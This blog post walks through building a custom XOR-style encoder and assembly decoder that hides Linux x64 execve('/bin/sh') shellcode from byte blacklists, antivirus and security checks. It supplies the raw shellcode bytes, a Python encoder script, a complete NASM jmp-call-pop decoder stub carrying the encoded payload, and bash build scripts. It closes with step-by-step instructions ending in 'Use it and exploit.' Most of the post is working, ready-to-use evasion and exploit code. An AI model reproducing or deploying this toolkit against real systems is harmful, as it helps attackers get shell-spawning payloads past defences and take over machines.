TL;DR
Recently, I have a demmand for encoding a Linux-cmd-64bit shellcode to bypass some security checks. There are a lot shellcode loaders for Windows machine to generate .exe to run, but rarely for the elf binary in Linux Systyem.
The target has sanitized certain dangerous bytes to prevent us from running execve("/bin/sh")
. A blacklist containing \x62\x69\x6e\x73\x68\ forbiddens us to input binsh and other like \x5f forbiddens assembly code of pop rdi. For example, we can use objdump to have a look at a classic Linux x64 shellcode:
Disassembly of section .text:
0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall
These forbidened bytes are vital for a shellcode to take control of a Linux machine. So I decide to create a custom binary shellcode encoder to exploit the target. I have upload the scripts of this simple tool on github as well. The framework can be easily modified with custom needs.
Prerequisite
- We have write privilege on a memory area with certain length that is able to store the shellcode.
- The memory where we write our shellcode is executable. For example, it's the .bss section, or it's on the stack and NX is disabled for some reasons (i.e. the program is compile with the flag -z execstack).
Target
The object of our exploit scripts contains 2 parts:
- Create a custom encoding scheme to obfuscate the
execve
shellcode. - Decode our obfuscated shellcode and then execute it. So we will finally end up with a
/bin/sh
prompt.
The XOR Encoder
For binaries, there are a certain amount of algorithms. For example:
- AND: Performs a bitwise AND operation between corresponding bits of two operands.
- OR: Performs a bitwise OR operation between corresponding bits of two operands.
- NOT: Performs a bitwise NOT operation, flipping each bit.
- Rotate: Rotates the bits of a number to the left or right by a certain number of positions.
- Bit extraction/insertion: Extracting or inserting specific bits from/to a binary number.
- Masking: Using a mask to select specific bits from a binary number.
- Count leading/trailing zeros: Counting the number of leading or trailing zeros in a binary number.
- Bitwise comparisons: Comparing bits of two numbers.
- Bitwise operations on specific bits: Operations targeted at specific bits within a binary number.
The most common one for encryption/encoding is XOR. Because there's a basic calculation to encrypt a plain text with a key:
PlainText XOR key = Cipher
and we can easily decrypt the ciper in reverse:
Cipher XOR key = PlainText
Therefore, I would like to take the XOR algorithm as a fundamental part of the encoder. It's easy to use python to encode our shellcode:
def generate_encoded_shellcode(original_shellcode, key):
encoded_shellcode = b""
for byte in original_shellcode:
encoded_byte = byte ^ key
if bytes([encoded_byte]) in forbidden_bytes:
return None, encoded_shellcode
encoded_shellcode += bytes([encoded_byte])
Here I will use a much more simple way to complete the script of the encoder—subtracting a byte from 0xff produces the same result as XORing the byte with 0xff. This is perfect for keeping things simple, but we need to be sure that 0xff does not exist in our shellcode—which is usually the case.
For example, a classic Linux-amd-64bit shellcode starts with:
0x50, 0x48, 0x31, 0xd2, 0x48, ...
In order to calculate the new value to use for the first instruction, we would subtract our actual instruction from 0xff as following:
0xFF
- 0x50
--------
0xAF
The result is the same when we perform calculation 0xFF ^ 0x50 = 0xAF.
It will provide us with completely obfuscated instructions which might be enough to bypass AV or security checks. If the AV or checks detect XOR'ed shellcodes, we can add more algorithms and perform multiple encryption.
In this program, the final step is to add 0xff
to the end of the encoded shellcode. Because we need a signal to know when to stop decoding, and it will be convenient when we write the assembly code. That's why I claimed that 0xff should not be present in our original shellcode, so that it could be used as the terminator at the end of the shellcode. I apply this technique here because it keeps the assembly-code decoder small, which would help me bypass the length restriction on the exploited memory.
The XOR Encoder shellcode_generator.py looks like:
# Original shellcode in hexadecimal format
originalShellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
# Key should be the one which does not exist in the original shellcode
encodeKey = 0xff
# Encode loop
encodedShellcode = []
for byte in originalShellcode:
encodedByte = hex(encodeKey - byte)
# Ensure each byte is represented by two characters, with leading zeros if necessary
if len(encodedByte) == 3: # If the byte is represented by only one character
encodedByte = "\\x0" + encodedByte[2]
else:
encodedByte = "\\x" + encodedByte[2:]
encodedShellcode.append(encodedByte)
# Add key as the search terminator
encodedShellcode.append(hex(encodeKey).replace("0x", "\\x"))
# Function to check for forbidden bytes in encoded shellcode
def contains_forbidden_bytes(key, encoded_shellcode, forbidden_bytes):
key = hex(key).replace("0x", "\\x")
if key in forbidden_bytes:
print("/!\ The encode key contains forbidden byte: ", key)
return True
for byte in encoded_shellcode:
if byte in forbidden_bytes:
print("/!\ Contain forbidden byte: ", byte)
return True
return False
# Check if encoded shellcode contains forbidden bytes
forbidden_bytes = "\\x3b\\x54\\x62\\x69\\x6e\\x73\\x68\\xf6\\xd2\\xc0\\x5f\\xc9\\x66\\x6c\\x61\\x67"
if contains_forbidden_bytes(encodeKey, encodedShellcode, forbidden_bytes):
print("/!\ Warning: Encoded shellcode or the encode key contains forbidden bytes.")
else:
print("Encoded shellcode does not contain forbidden bytes.")
# Convert original shellcode to \x format
formattedOriginalShellcode = ''.join(['\\x{:02x}'.format(byte) for byte in originalShellcode])
# Format encoded shellcode for easy copy-paste
formattedEncodedShellcode = ','.join(encodedShellcode).replace("\\x", "0x")
encodeKey
print("[*] The original Shellcode: ", formattedOriginalShellcode)
print("[*] The key for encoding: ", hex(encodeKey))
print("[!] The encoded Shellcode: ", ''.join(encodedShellcode))
print("[!] Encoded Shellcode for Assembly: ", formattedEncodedShellcode)
We can modify the value of originalShellcode or the encodeKey as needed. This python script generates an obfuscated shellcode using XOR algorithm and output the encoded shellcode in certain formats we need for the decoder.
The Assembly Decoder
Different from the shellcode loaders for a Windows machine, we cannot run a .exe
by writing it on a memory area. So we will need to write the decoder's code in assembly language, then compile it into an executable binary.
To execute a string containing shellcode stored within the assembly program, we can apply the Jump, Call and Pop technique. In this way, we can return an address which is stored on the stack when calling somewhere in Linux/x64 assembly.
Take the following code for example:
_start:
jmp short call_shellcode
...
decoder:
pop rsi
call_shellcode:
call decoder
EncodedShellcode: db 0xaf, ...
When this code starts up it will immediately jump to the label call_shellcode, which in turn immediately calls decoder. When the execution flow is passed to the decoder section, the address of the instruction(shellcode's data) after the call decoder (which is EncodedShellcode) is written on the stack. The code then pops the address of the instructions into rsi. At this point, rsi now points to the memory location where EncodedShellcode is stored, which means that we can now leverage the pointer to modify the shellcode's data at that location.
We will next design a loop to get one byte a time from the EncodedShellcode and properly decode it back to recover its original value. This can be accomplished by using the equivalent of a loop as such:
decode:
mov bl, byte [rsi]
...
inc rsi
jmp short decode
Then we can loop through each byte now and define a terminator to make this assembly code as short as possible. We can leverage the power of XOR to encode each byte one at a time with 0xff. When the loop hits the last byte 0xff, meaning the 0xff XORing itself returns a result of 0. We can then leverage the Zero Flag which is now set after this magic, allowing us to safely break out of the loop:
mov bl, byte [rsi]
xor bl, 0xff
jz EncodedShellcode
At the end the final Assembly Decoder decoder.asm looks like:
global _start
section .text
_start:
jmp short call_shellcode ; using the jump, call, and pop method to get into our shellcode
decoder:
pop rsi ; get the address of EncodedShellcode into rsi
decode:
mov bl, byte [rsi] ; moving current byte from shellcode string
xor bl, 0xff ; checking if we are done decoding and should
; jump directly to our shell code
jz EncodedShellcode ; if the current value being evaluated is 0xff
; then we are at the end of the string
mov byte [rsi], bl ; a byproduct of the xor is that we get the difference
; between 0xff and the current encoded byte being evaluated
; which is in fact the actual instruction value to execute!
inc rsi ; move to the next byte to be evaluated in our shellcode
jmp short decode ; run through decode again
call_shellcode:
call decoder ; call our decoder routine
; this is our encoded shell string for execve-stack
EncodedShellcode: db 0xaf,0xb7,0xce,0x2d,0xb7,0xce,0x09,0xb7,0x44,0xd0,0x9d,0x96,0x91,0xd0,0xd0,0x8c,0x97,0xac,0xab,0xa0,0x4f,0xc4,0xf0,0xfa,0xff
The Compile Script
To extract the shellcode in the format we need to place into our Encoder & Decoder, we need to complie the Decoder with the shellcode itself within in one assembly code.
We can do this with several steps:
Step 1. Create assembly:
vim shellcode.asm
Step 2. Nasm the assembly:
nasm -f elf64 shellcode.asm -o shellcode.o
Step 3. Link the object file:
ld shellcode.o -o shellcode
Step 4. Extract the hex from the executable:
objcopy -O binary -j .text shellcode shellcode.bin
Step 5. Convert into our desired format:
xxd -p shellcode.bin | tr -d '\n' | sed 's/\(..\)/\\x\1/g' > shellcode.txt
I write a bash script to automatically finish the compilation using command ./compile.sh decoder.asm
:
#!/bin/bash
# Extract the base name without extension
base_name=$(basename "$1" .asm)
echo '[+] Assembling with Nasm …'
nasm -f elf64 "$base_name.asm" -o "$base_name.o"
echo '[+] Linking …'
ld "$base_name.o" -o "$base_name"
echo '[+] Extracting hex …'
objcopy -O binary -j .text "$base_name" "$base_name.bin"
echo '[+] Converting into byte format …'
xxd -p "$base_name.bin" | tr -d '\n' | sed 's/\(..\)/\\x\1/g' > "$base_name.txt"
echo '[+] Done!'
There's another interesting way for the same goal using command ./hexdump.sh decoder
after we compile the assembly into an executable. Here I just note it down for fun:
#!/bin/bash
echo '[+] Dumping the whole decoder & encoded shellcode in hex format ...'
objdump -d $1 | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Conclusion
We can add more procedures for the Encoder & Decoder respectivly when we need to bypass complicate AV or security checks. And this Encoder & Decoder is easy to use with following steps:
- Place the desired shellcode into the XOR Encoder shellcode_generator.py, and run it to generate an encoded shellcode.
- Paste encoded shellcode into the Assembly Decoder decoder.asm.
- Use the bash script
./compile.sh decoder.asm
to print out the final obfuscated shellcode. - The final obfuscated shellcode locates at .txt file. Use it and exploit.
Comments | NOTHING